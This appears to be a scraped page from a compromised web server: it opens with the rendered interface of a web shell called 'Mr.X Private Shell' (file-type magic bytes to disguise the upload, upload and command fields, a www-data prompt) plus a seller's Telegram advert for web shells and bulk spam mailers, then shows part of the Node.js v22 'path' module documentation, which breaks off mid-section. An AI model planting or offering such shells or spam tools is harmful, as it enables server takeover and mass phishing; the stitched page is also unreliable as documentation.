GIF89; GIF89; %PDF- %PDF- Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

www-data@216.73.216.129: ~ $ 
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <meta name="nodejs.org:node-version" content="v22.22.0">
  <title>Path | Node.js v22.22.0 Documentation</title>
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lato:400,700,400italic&display=fallback">
  <link rel="stylesheet" href="assets/style.css">
  <link rel="stylesheet" href="assets/hljs.css">
  <link rel="canonical" href="https://nodejs.org/api/path.html">
  <script async defer src="assets/api.js" type="text/javascript"></script>
  <script>
      const storedTheme = localStorage.getItem('theme');

      // Follow operating system theme preference
      if (storedTheme === null && window.matchMedia) {
        const mq = window.matchMedia('(prefers-color-scheme: dark)');
        if (mq.matches) {
          document.documentElement.classList.add('dark-mode');
        }
      } else if (storedTheme === 'dark') {
        document.documentElement.classList.add('dark-mode');
      }
  </script>
  <style>@media(max-width:494px){.with-34-chars>.js-flavor-toggle{float:none;margin:0 0 1em auto;}}</style>
</head>
<body class="alt apidoc" id="api-section-path">
  <a href="#apicontent" class="skip-to-content">Skip to content</a>
  <div id="content" class="clearfix">
    <div role="navigation" id="column2" class="interior">
      <div id="intro" class="interior">
        <a href="/" title="Go back to the home page">
          Node.js
        </a>
      </div>
      <ul>
<li><a href="documentation.html" class="nav-documentation">About this documentation</a></li>
<li><a href="synopsis.html" class="nav-synopsis">Usage and example</a></li>
</ul>
<hr class="line">
<ul>
<li><a href="assert.html" class="nav-assert">Assertion testing</a></li>
<li><a href="async_context.html" class="nav-async_context">Asynchronous context tracking</a></li>
<li><a href="async_hooks.html" class="nav-async_hooks">Async hooks</a></li>
<li><a href="buffer.html" class="nav-buffer">Buffer</a></li>
<li><a href="addons.html" class="nav-addons">C++ addons</a></li>
<li><a href="n-api.html" class="nav-n-api">C/C++ addons with Node-API</a></li>
<li><a href="embedding.html" class="nav-embedding">C++ embedder API</a></li>
<li><a href="child_process.html" class="nav-child_process">Child processes</a></li>
<li><a href="cluster.html" class="nav-cluster">Cluster</a></li>
<li><a href="cli.html" class="nav-cli">Command-line options</a></li>
<li><a href="console.html" class="nav-console">Console</a></li>
<li><a href="crypto.html" class="nav-crypto">Crypto</a></li>
<li><a href="debugger.html" class="nav-debugger">Debugger</a></li>
<li><a href="deprecations.html" class="nav-deprecations">Deprecated APIs</a></li>
<li><a href="diagnostics_channel.html" class="nav-diagnostics_channel">Diagnostics Channel</a></li>
<li><a href="dns.html" class="nav-dns">DNS</a></li>
<li><a href="domain.html" class="nav-domain">Domain</a></li>
<li><a href="environment_variables.html" class="nav-environment_variables">Environment Variables</a></li>
<li><a href="errors.html" class="nav-errors">Errors</a></li>
<li><a href="events.html" class="nav-events">Events</a></li>
<li><a href="fs.html" class="nav-fs">File system</a></li>
<li><a href="globals.html" class="nav-globals">Globals</a></li>
<li><a href="http.html" class="nav-http">HTTP</a></li>
<li><a href="http2.html" class="nav-http2">HTTP/2</a></li>
<li><a href="https.html" class="nav-https">HTTPS</a></li>
<li><a href="inspector.html" class="nav-inspector">Inspector</a></li>
<li><a href="intl.html" class="nav-intl">Internationalization</a></li>
<li><a href="modules.html" class="nav-modules">Modules: CommonJS modules</a></li>
<li><a href="esm.html" class="nav-esm">Modules: ECMAScript modules</a></li>
<li><a href="module.html" class="nav-module">Modules: <code>node:module</code> API</a></li>
<li><a href="packages.html" class="nav-packages">Modules: Packages</a></li>
<li><a href="typescript.html" class="nav-typescript">Modules: TypeScript</a></li>
<li><a href="net.html" class="nav-net">Net</a></li>
<li><a href="os.html" class="nav-os">OS</a></li>
<li><a href="path.html" class="nav-path active">Path</a></li>
<li><a href="perf_hooks.html" class="nav-perf_hooks">Performance hooks</a></li>
<li><a href="permissions.html" class="nav-permissions">Permissions</a></li>
<li><a href="process.html" class="nav-process">Process</a></li>
<li><a href="punycode.html" class="nav-punycode">Punycode</a></li>
<li><a href="querystring.html" class="nav-querystring">Query strings</a></li>
<li><a href="readline.html" class="nav-readline">Readline</a></li>
<li><a href="repl.html" class="nav-repl">REPL</a></li>
<li><a href="report.html" class="nav-report">Report</a></li>
<li><a href="single-executable-applications.html" class="nav-single-executable-applications">Single executable applications</a></li>
<li><a href="sqlite.html" class="nav-sqlite">SQLite</a></li>
<li><a href="stream.html" class="nav-stream">Stream</a></li>
<li><a href="string_decoder.html" class="nav-string_decoder">String decoder</a></li>
<li><a href="test.html" class="nav-test">Test runner</a></li>
<li><a href="timers.html" class="nav-timers">Timers</a></li>
<li><a href="tls.html" class="nav-tls">TLS/SSL</a></li>
<li><a href="tracing.html" class="nav-tracing">Trace events</a></li>
<li><a href="tty.html" class="nav-tty">TTY</a></li>
<li><a href="dgram.html" class="nav-dgram">UDP/datagram</a></li>
<li><a href="url.html" class="nav-url">URL</a></li>
<li><a href="util.html" class="nav-util">Utilities</a></li>
<li><a href="v8.html" class="nav-v8">V8</a></li>
<li><a href="vm.html" class="nav-vm">VM</a></li>
<li><a href="wasi.html" class="nav-wasi">WASI</a></li>
<li><a href="webcrypto.html" class="nav-webcrypto">Web Crypto API</a></li>
<li><a href="webstreams.html" class="nav-webstreams">Web Streams API</a></li>
<li><a href="worker_threads.html" class="nav-worker_threads">Worker threads</a></li>
<li><a href="zlib.html" class="nav-zlib">Zlib</a></li>
</ul>
<hr class="line">
<ul>
<li><a href="https://github.com/nodejs/node" class="nav-https-github-com-nodejs-node">Code repository and issue tracker</a></li>
</ul>
    </div>

    <div id="column1" data-id="path" class="interior">
      <header class="header">
        <div class="header-container">
          <h1>Node.js v22.22.0 documentation</h1>
          <button class="theme-toggle-btn" id="theme-toggle-btn" title="Toggle dark mode/light mode" aria-label="Toggle dark mode/light mode" hidden>
            <svg xmlns="http://www.w3.org/2000/svg" class="icon dark-icon" height="24" width="24">
              <path fill="none" d="M0 0h24v24H0z" />
              <path d="M11.1 12.08c-2.33-4.51-.5-8.48.53-10.07C6.27 2.2 1.98 6.59 1.98 12c0 .14.02.28.02.42.62-.27 1.29-.42 2-.42 1.66 0 3.18.83 4.1 2.15A4.01 4.01 0 0111 18c0 1.52-.87 2.83-2.12 3.51.98.32 2.03.5 3.11.5 3.5 0 6.58-1.8 8.37-4.52-2.36.23-6.98-.97-9.26-5.41z"/>
              <path d="M7 16h-.18C6.4 14.84 5.3 14 4 14c-1.66 0-3 1.34-3 3s1.34 3 3 3h3c1.1 0 2-.9 2-2s-.9-2-2-2z"/>
            </svg>
            <svg xmlns="http://www.w3.org/2000/svg" class="icon light-icon" height="24" width="24">
              <path d="M0 0h24v24H0z" fill="none" />
              <path d="M6.76 4.84l-1.8-1.79-1.41 1.41 1.79 1.79 1.42-1.41zM4 10.5H1v2h3v-2zm9-9.95h-2V3.5h2V.55zm7.45 3.91l-1.41-1.41-1.79 1.79 1.41 1.41 1.79-1.79zm-3.21 13.7l1.79 1.8 1.41-1.41-1.8-1.79-1.4 1.4zM20 10.5v2h3v-2h-3zm-8-5c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6zm-1 16.95h2V19.5h-2v2.95zm-7.45-3.91l1.41 1.41 1.79-1.8-1.41-1.41-1.79 1.8z"/>
            </svg>
          </button>
        </div>
        <div id="gtoc">
          <ul>
            <li class="pinned-header">Node.js v22.22.0</li>
            
    <li class="picker-header">
      <a href="#toc-picker" aria-controls="toc-picker">
        <span class="picker-arrow"></span>
        Table of contents
      </a>

      <div class="picker" tabindex="-1"><div class="toc"><ul id="toc-picker">
<li><span class="stability_2"><a href="#path">Path</a></span>
<ul>
<li><a href="#windows-vs-posix">Windows vs. POSIX</a></li>
<li><a href="#pathbasenamepath-suffix"><code>path.basename(path[, suffix])</code></a></li>
<li><a href="#pathdelimiter"><code>path.delimiter</code></a></li>
<li><a href="#pathdirnamepath"><code>path.dirname(path)</code></a></li>
<li><a href="#pathextnamepath"><code>path.extname(path)</code></a></li>
<li><a href="#pathformatpathobject"><code>path.format(pathObject)</code></a></li>
<li><a href="#pathmatchesglobpath-pattern"><code>path.matchesGlob(path, pattern)</code></a></li>
<li><a href="#pathisabsolutepath"><code>path.isAbsolute(path)</code></a></li>
<li><a href="#pathjoinpaths"><code>path.join([...paths])</code></a></li>
<li><a href="#pathnormalizepath"><code>path.normalize(path)</code></a></li>
<li><a href="#pathparsepath"><code>path.parse(path)</code></a></li>
<li><a href="#pathposix"><code>path.posix</code></a></li>
<li><a href="#pathrelativefrom-to"><code>path.relative(from, to)</code></a></li>
<li><a href="#pathresolvepaths"><code>path.resolve([...paths])</code></a></li>
<li><a href="#pathsep"><code>path.sep</code></a></li>
<li><a href="#pathtonamespacedpathpath"><code>path.toNamespacedPath(path)</code></a></li>
<li><a href="#pathwin32"><code>path.win32</code></a></li>
</ul>
</li>
</ul></div></div>
    </li>
  
            
    <li class="picker-header">
      <a href="#gtoc-picker" aria-controls="gtoc-picker">
        <span class="picker-arrow"></span>
        Index
      </a>

      <div class="picker" tabindex="-1" id="gtoc-picker"><ul>
<li><a href="documentation.html" class="nav-documentation">About this documentation</a></li>
<li><a href="synopsis.html" class="nav-synopsis">Usage and example</a></li>

      <li>
        <a href="index.html">Index</a>
      </li>
    </ul>
  
<hr class="line">
<ul>
<li><a href="assert.html" class="nav-assert">Assertion testing</a></li>
<li><a href="async_context.html" class="nav-async_context">Asynchronous context tracking</a></li>
<li><a href="async_hooks.html" class="nav-async_hooks">Async hooks</a></li>
<li><a href="buffer.html" class="nav-buffer">Buffer</a></li>
<li><a href="addons.html" class="nav-addons">C++ addons</a></li>
<li><a href="n-api.html" class="nav-n-api">C/C++ addons with Node-API</a></li>
<li><a href="embedding.html" class="nav-embedding">C++ embedder API</a></li>
<li><a href="child_process.html" class="nav-child_process">Child processes</a></li>
<li><a href="cluster.html" class="nav-cluster">Cluster</a></li>
<li><a href="cli.html" class="nav-cli">Command-line options</a></li>
<li><a href="console.html" class="nav-console">Console</a></li>
<li><a href="crypto.html" class="nav-crypto">Crypto</a></li>
<li><a href="debugger.html" class="nav-debugger">Debugger</a></li>
<li><a href="deprecations.html" class="nav-deprecations">Deprecated APIs</a></li>
<li><a href="diagnostics_channel.html" class="nav-diagnostics_channel">Diagnostics Channel</a></li>
<li><a href="dns.html" class="nav-dns">DNS</a></li>
<li><a href="domain.html" class="nav-domain">Domain</a></li>
<li><a href="environment_variables.html" class="nav-environment_variables">Environment Variables</a></li>
<li><a href="errors.html" class="nav-errors">Errors</a></li>
<li><a href="events.html" class="nav-events">Events</a></li>
<li><a href="fs.html" class="nav-fs">File system</a></li>
<li><a href="globals.html" class="nav-globals">Globals</a></li>
<li><a href="http.html" class="nav-http">HTTP</a></li>
<li><a href="http2.html" class="nav-http2">HTTP/2</a></li>
<li><a href="https.html" class="nav-https">HTTPS</a></li>
<li><a href="inspector.html" class="nav-inspector">Inspector</a></li>
<li><a href="intl.html" class="nav-intl">Internationalization</a></li>
<li><a href="modules.html" class="nav-modules">Modules: CommonJS modules</a></li>
<li><a href="esm.html" class="nav-esm">Modules: ECMAScript modules</a></li>
<li><a href="module.html" class="nav-module">Modules: <code>node:module</code> API</a></li>
<li><a href="packages.html" class="nav-packages">Modules: Packages</a></li>
<li><a href="typescript.html" class="nav-typescript">Modules: TypeScript</a></li>
<li><a href="net.html" class="nav-net">Net</a></li>
<li><a href="os.html" class="nav-os">OS</a></li>
<li><a href="path.html" class="nav-path active">Path</a></li>
<li><a href="perf_hooks.html" class="nav-perf_hooks">Performance hooks</a></li>
<li><a href="permissions.html" class="nav-permissions">Permissions</a></li>
<li><a href="process.html" class="nav-process">Process</a></li>
<li><a href="punycode.html" class="nav-punycode">Punycode</a></li>
<li><a href="querystring.html" class="nav-querystring">Query strings</a></li>
<li><a href="readline.html" class="nav-readline">Readline</a></li>
<li><a href="repl.html" class="nav-repl">REPL</a></li>
<li><a href="report.html" class="nav-report">Report</a></li>
<li><a href="single-executable-applications.html" class="nav-single-executable-applications">Single executable applications</a></li>
<li><a href="sqlite.html" class="nav-sqlite">SQLite</a></li>
<li><a href="stream.html" class="nav-stream">Stream</a></li>
<li><a href="string_decoder.html" class="nav-string_decoder">String decoder</a></li>
<li><a href="test.html" class="nav-test">Test runner</a></li>
<li><a href="timers.html" class="nav-timers">Timers</a></li>
<li><a href="tls.html" class="nav-tls">TLS/SSL</a></li>
<li><a href="tracing.html" class="nav-tracing">Trace events</a></li>
<li><a href="tty.html" class="nav-tty">TTY</a></li>
<li><a href="dgram.html" class="nav-dgram">UDP/datagram</a></li>
<li><a href="url.html" class="nav-url">URL</a></li>
<li><a href="util.html" class="nav-util">Utilities</a></li>
<li><a href="v8.html" class="nav-v8">V8</a></li>
<li><a href="vm.html" class="nav-vm">VM</a></li>
<li><a href="wasi.html" class="nav-wasi">WASI</a></li>
<li><a href="webcrypto.html" class="nav-webcrypto">Web Crypto API</a></li>
<li><a href="webstreams.html" class="nav-webstreams">Web Streams API</a></li>
<li><a href="worker_threads.html" class="nav-worker_threads">Worker threads</a></li>
<li><a href="zlib.html" class="nav-zlib">Zlib</a></li>
</ul>
<hr class="line">
<ul>
<li><a href="https://github.com/nodejs/node" class="nav-https-github-com-nodejs-node">Code repository and issue tracker</a></li>
</ul></div>
    </li>
  
            
    <li class="picker-header">
      <a href="#alt-docs" aria-controls="alt-docs">
        <span class="picker-arrow"></span>
        Other versions
      </a>
      <div class="picker" tabindex="-1"><ol id="alt-docs"><li><a href="https://nodejs.org/docs/latest-v25.x/api/path.html">25.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v24.x/api/path.html">24.x <b>LTS</b></a></li>
<li><a href="https://nodejs.org/docs/latest-v23.x/api/path.html">23.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v22.x/api/path.html">22.x <b>LTS</b></a></li>
<li><a href="https://nodejs.org/docs/latest-v21.x/api/path.html">21.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v20.x/api/path.html">20.x <b>LTS</b></a></li>
<li><a href="https://nodejs.org/docs/latest-v19.x/api/path.html">19.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v18.x/api/path.html">18.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v17.x/api/path.html">17.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v16.x/api/path.html">16.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v15.x/api/path.html">15.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v14.x/api/path.html">14.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v13.x/api/path.html">13.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v12.x/api/path.html">12.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v11.x/api/path.html">11.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v10.x/api/path.html">10.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v9.x/api/path.html">9.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v8.x/api/path.html">8.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v7.x/api/path.html">7.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v6.x/api/path.html">6.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v5.x/api/path.html">5.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v4.x/api/path.html">4.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v0.12.x/api/path.html">0.12.x</a></li>
<li><a href="https://nodejs.org/docs/latest-v0.10.x/api/path.html">0.10.x</a></li></ol></div>
    </li>
  
            <li class="picker-header">
              <a href="#options-picker" aria-controls="options-picker">
                <span class="picker-arrow"></span>
                Options
              </a>
        
              <div class="picker" tabindex="-1">
                <ul id="options-picker">
                  <li>
                    <a href="all.html">View on single page</a>
                  </li>
                  <li>
                    <a href="path.json">View as JSON</a>
                  </li>
                  <li class="edit_on_github"><a href="https://github.com/nodejs/node/edit/main/doc/api/path.md">Edit on GitHub</a></li>    
                </ul>
              </div>
            </li>
          </ul>
        </div>
        <hr>
      </header>

      <details role="navigation" id="toc" open><summary>Table of contents</summary><ul>
<li><span class="stability_2"><a href="#path">Path</a></span>
<ul>
<li><a href="#windows-vs-posix">Windows vs. POSIX</a></li>
<li><a href="#pathbasenamepath-suffix"><code>path.basename(path[, suffix])</code></a></li>
<li><a href="#pathdelimiter"><code>path.delimiter</code></a></li>
<li><a href="#pathdirnamepath"><code>path.dirname(path)</code></a></li>
<li><a href="#pathextnamepath"><code>path.extname(path)</code></a></li>
<li><a href="#pathformatpathobject"><code>path.format(pathObject)</code></a></li>
<li><a href="#pathmatchesglobpath-pattern"><code>path.matchesGlob(path, pattern)</code></a></li>
<li><a href="#pathisabsolutepath"><code>path.isAbsolute(path)</code></a></li>
<li><a href="#pathjoinpaths"><code>path.join([...paths])</code></a></li>
<li><a href="#pathnormalizepath"><code>path.normalize(path)</code></a></li>
<li><a href="#pathparsepath"><code>path.parse(path)</code></a></li>
<li><a href="#pathposix"><code>path.posix</code></a></li>
<li><a href="#pathrelativefrom-to"><code>path.relative(from, to)</code></a></li>
<li><a href="#pathresolvepaths"><code>path.resolve([...paths])</code></a></li>
<li><a href="#pathsep"><code>path.sep</code></a></li>
<li><a href="#pathtonamespacedpathpath"><code>path.toNamespacedPath(path)</code></a></li>
<li><a href="#pathwin32"><code>path.win32</code></a></li>
</ul>
</li>
</ul></details>

      <div role="main" id="apicontent">
        <h2>Path<span><a class="mark" href="#path" id="path">#</a></span><a aria-hidden="true" class="legacy" id="path_path"></a></h2>

<p></p><div class="api_stability api_stability_2"><a href="documentation.html#stability-index">Stability: 2</a> - Stable</div><p></p>
<p><strong>Source Code:</strong> <a href="https://github.com/nodejs/node/blob/v22.22.0/lib/path.js">lib/path.js</a></p>
<p>The <code>node:path</code> module provides utilities for working with file and directory
paths. It can be accessed using:</p>

<pre class="with-34-chars"><input class="js-flavor-toggle" type="checkbox" aria-label="Show modern ES modules syntax"><code class="language-js cjs"><span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:path'</span>);</code><code class="language-js mjs"><span class="hljs-keyword">import</span> path <span class="hljs-keyword">from</span> <span class="hljs-string">'node:path'</span>;</code><button class="copy-button">copy</button></pre>
<section><h3>Windows vs. POSIX<span><a class="mark" href="#windows-vs-posix" id="windows-vs-posix">#</a></span><a aria-hidden="true" class="legacy" id="path_windows_vs_posix"></a></h3>
<p>The default operation of the <code>node:path</code> module varies based on the operating
system on which a Node.js application is running. Specifically, when running on
a Windows operating system, the <code>node:path</code> module will assume that
Windows-style paths are being used.</p>
<p>So using <code>path.basename()</code> might yield different results on POSIX and Windows:</p>
<p>On POSIX:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">basename</span>(<span class="hljs-string">'C:\\temp\\myfile.html'</span>);
<span class="hljs-comment">// Returns: 'C:\\temp\\myfile.html'</span></code> <button class="copy-button">copy</button></pre>
<p>On Windows:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">basename</span>(<span class="hljs-string">'C:\\temp\\myfile.html'</span>);
<span class="hljs-comment">// Returns: 'myfile.html'</span></code> <button class="copy-button">copy</button></pre>
<p>To achieve consistent results when working with Windows file paths on any
operating system, use <a href="#pathwin32"><code>path.win32</code></a>:</p>
<p>On POSIX and Windows:</p>
<pre><code class="language-js">path.<span class="hljs-property">win32</span>.<span class="hljs-title function_">basename</span>(<span class="hljs-string">'C:\\temp\\myfile.html'</span>);
<span class="hljs-comment">// Returns: 'myfile.html'</span></code> <button class="copy-button">copy</button></pre>
<p>To achieve consistent results when working with POSIX file paths on any
operating system, use <a href="#pathposix"><code>path.posix</code></a>:</p>
<p>On POSIX and Windows:</p>
<pre><code class="language-js">path.<span class="hljs-property">posix</span>.<span class="hljs-title function_">basename</span>(<span class="hljs-string">'/tmp/myfile.html'</span>);
<span class="hljs-comment">// Returns: 'myfile.html'</span></code> <button class="copy-button">copy</button></pre>
<p>On Windows Node.js follows the concept of per-drive working directory.
This behavior can be observed when using a drive path without a backslash. For
example, <code>path.resolve('C:\\')</code> can potentially return a different result than
<code>path.resolve('C:')</code>. For more information, see
<a href="https://docs.microsoft.com/en-us/windows/desktop/FileIO/naming-a-file#fully-qualified-vs-relative-paths">this MSDN page</a>.</p>
</section><section><h3><code>path.basename(path[, suffix])</code><span><a class="mark" href="#pathbasenamepath-suffix" id="pathbasenamepath-suffix">#</a></span><a aria-hidden="true" class="legacy" id="path_path_basename_path_suffix"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v6.0.0</td>
<td><p>Passing a non-string as the <code>path</code> argument will throw now.</p></td></tr>
<tr><td>v0.1.25</td>
<td><p><span>Added in: v0.1.25</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>path</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>suffix</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> An optional suffix to remove</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>The <code>path.basename()</code> method returns the last portion of a <code>path</code>, similar to
the Unix <code>basename</code> command. Trailing <a href="#pathsep">directory separators</a> are
ignored.</p>
<pre><code class="language-js">path.<span class="hljs-title function_">basename</span>(<span class="hljs-string">'/foo/bar/baz/asdf/quux.html'</span>);
<span class="hljs-comment">// Returns: 'quux.html'</span>

path.<span class="hljs-title function_">basename</span>(<span class="hljs-string">'/foo/bar/baz/asdf/quux.html'</span>, <span class="hljs-string">'.html'</span>);
<span class="hljs-comment">// Returns: 'quux'</span></code> <button class="copy-button">copy</button></pre>
<p>Although Windows usually treats file names, including file extensions, in a
case-insensitive manner, this function does not. For example, <code>C:\\foo.html</code> and
<code>C:\\foo.HTML</code> refer to the same file, but <code>basename</code> treats the extension as a
case-sensitive string:</p>
<pre><code class="language-js">path.<span class="hljs-property">win32</span>.<span class="hljs-title function_">basename</span>(<span class="hljs-string">'C:\\foo.html'</span>, <span class="hljs-string">'.html'</span>);
<span class="hljs-comment">// Returns: 'foo'</span>

path.<span class="hljs-property">win32</span>.<span class="hljs-title function_">basename</span>(<span class="hljs-string">'C:\\foo.HTML'</span>, <span class="hljs-string">'.html'</span>);
<span class="hljs-comment">// Returns: 'foo.HTML'</span></code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if <code>path</code> is not a string or if <code>suffix</code> is given
and is not a string.</p>
</section><section><h3><code>path.delimiter</code><span><a class="mark" href="#pathdelimiter" id="pathdelimiter">#</a></span><a aria-hidden="true" class="legacy" id="path_path_delimiter"></a></h3>
<div class="api_metadata">
<span>Added in: v0.9.3</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>Provides the platform-specific path delimiter:</p>
<ul>
<li><code>;</code> for Windows</li>
<li><code>:</code> for POSIX</li>
</ul>
<p>For example, on POSIX:</p>
<pre><code class="language-js"><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(process.<span class="hljs-property">env</span>.<span class="hljs-property">PATH</span>);
<span class="hljs-comment">// Prints: '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin'</span>

process.<span class="hljs-property">env</span>.<span class="hljs-property">PATH</span>.<span class="hljs-title function_">split</span>(path.<span class="hljs-property">delimiter</span>);
<span class="hljs-comment">// Returns: ['/usr/bin', '/bin', '/usr/sbin', '/sbin', '/usr/local/bin']</span></code> <button class="copy-button">copy</button></pre>
<p>On Windows:</p>
<pre><code class="language-js"><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(process.<span class="hljs-property">env</span>.<span class="hljs-property">PATH</span>);
<span class="hljs-comment">// Prints: 'C:\Windows\system32;C:\Windows;C:\Program Files\node\'</span>

process.<span class="hljs-property">env</span>.<span class="hljs-property">PATH</span>.<span class="hljs-title function_">split</span>(path.<span class="hljs-property">delimiter</span>);
<span class="hljs-comment">// Returns ['C:\\Windows\\system32', 'C:\\Windows', 'C:\\Program Files\\node\\']</span></code> <button class="copy-button">copy</button></pre>
</section><section><h3><code>path.dirname(path)</code><span><a class="mark" href="#pathdirnamepath" id="pathdirnamepath">#</a></span><a aria-hidden="true" class="legacy" id="path_path_dirname_path"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v6.0.0</td>
<td><p>Passing a non-string as the <code>path</code> argument will throw now.</p></td></tr>
<tr><td>v0.1.16</td>
<td><p><span>Added in: v0.1.16</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>path</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>The <code>path.dirname()</code> method returns the directory name of a <code>path</code>, similar to
the Unix <code>dirname</code> command. Trailing directory separators are ignored, see
<a href="#pathsep"><code>path.sep</code></a>.</p>
<pre><code class="language-js">path.<span class="hljs-title function_">dirname</span>(<span class="hljs-string">'/foo/bar/baz/asdf/quux'</span>);
<span class="hljs-comment">// Returns: '/foo/bar/baz/asdf'</span></code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if <code>path</code> is not a string.</p>
</section><section><h3><code>path.extname(path)</code><span><a class="mark" href="#pathextnamepath" id="pathextnamepath">#</a></span><a aria-hidden="true" class="legacy" id="path_path_extname_path"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v6.0.0</td>
<td><p>Passing a non-string as the <code>path</code> argument will throw now.</p></td></tr>
<tr><td>v0.1.25</td>
<td><p><span>Added in: v0.1.25</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>path</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>The <code>path.extname()</code> method returns the extension of the <code>path</code>, from the last
occurrence of the <code>.</code> (period) character to end of string in the last portion of
the <code>path</code>. If there is no <code>.</code> in the last portion of the <code>path</code>, or if
there are no <code>.</code> characters other than the first character of
the basename of <code>path</code> (see <code>path.basename()</code>) , an empty string is returned.</p>
<pre><code class="language-js">path.<span class="hljs-title function_">extname</span>(<span class="hljs-string">'index.html'</span>);
<span class="hljs-comment">// Returns: '.html'</span>

path.<span class="hljs-title function_">extname</span>(<span class="hljs-string">'index.coffee.md'</span>);
<span class="hljs-comment">// Returns: '.md'</span>

path.<span class="hljs-title function_">extname</span>(<span class="hljs-string">'index.'</span>);
<span class="hljs-comment">// Returns: '.'</span>

path.<span class="hljs-title function_">extname</span>(<span class="hljs-string">'index'</span>);
<span class="hljs-comment">// Returns: ''</span>

path.<span class="hljs-title function_">extname</span>(<span class="hljs-string">'.index'</span>);
<span class="hljs-comment">// Returns: ''</span>

path.<span class="hljs-title function_">extname</span>(<span class="hljs-string">'.index.md'</span>);
<span class="hljs-comment">// Returns: '.md'</span></code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if <code>path</code> is not a string.</p>
</section><section><h3><code>path.format(pathObject)</code><span><a class="mark" href="#pathformatpathobject" id="pathformatpathobject">#</a></span><a aria-hidden="true" class="legacy" id="path_path_format_pathobject"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v19.0.0</td>
<td><p>The dot will be added if it is not specified in <code>ext</code>.</p></td></tr>
<tr><td>v0.11.15</td>
<td><p><span>Added in: v0.11.15</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>pathObject</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a> Any JavaScript object having the following properties:
<ul>
<li><code>dir</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>root</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>base</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
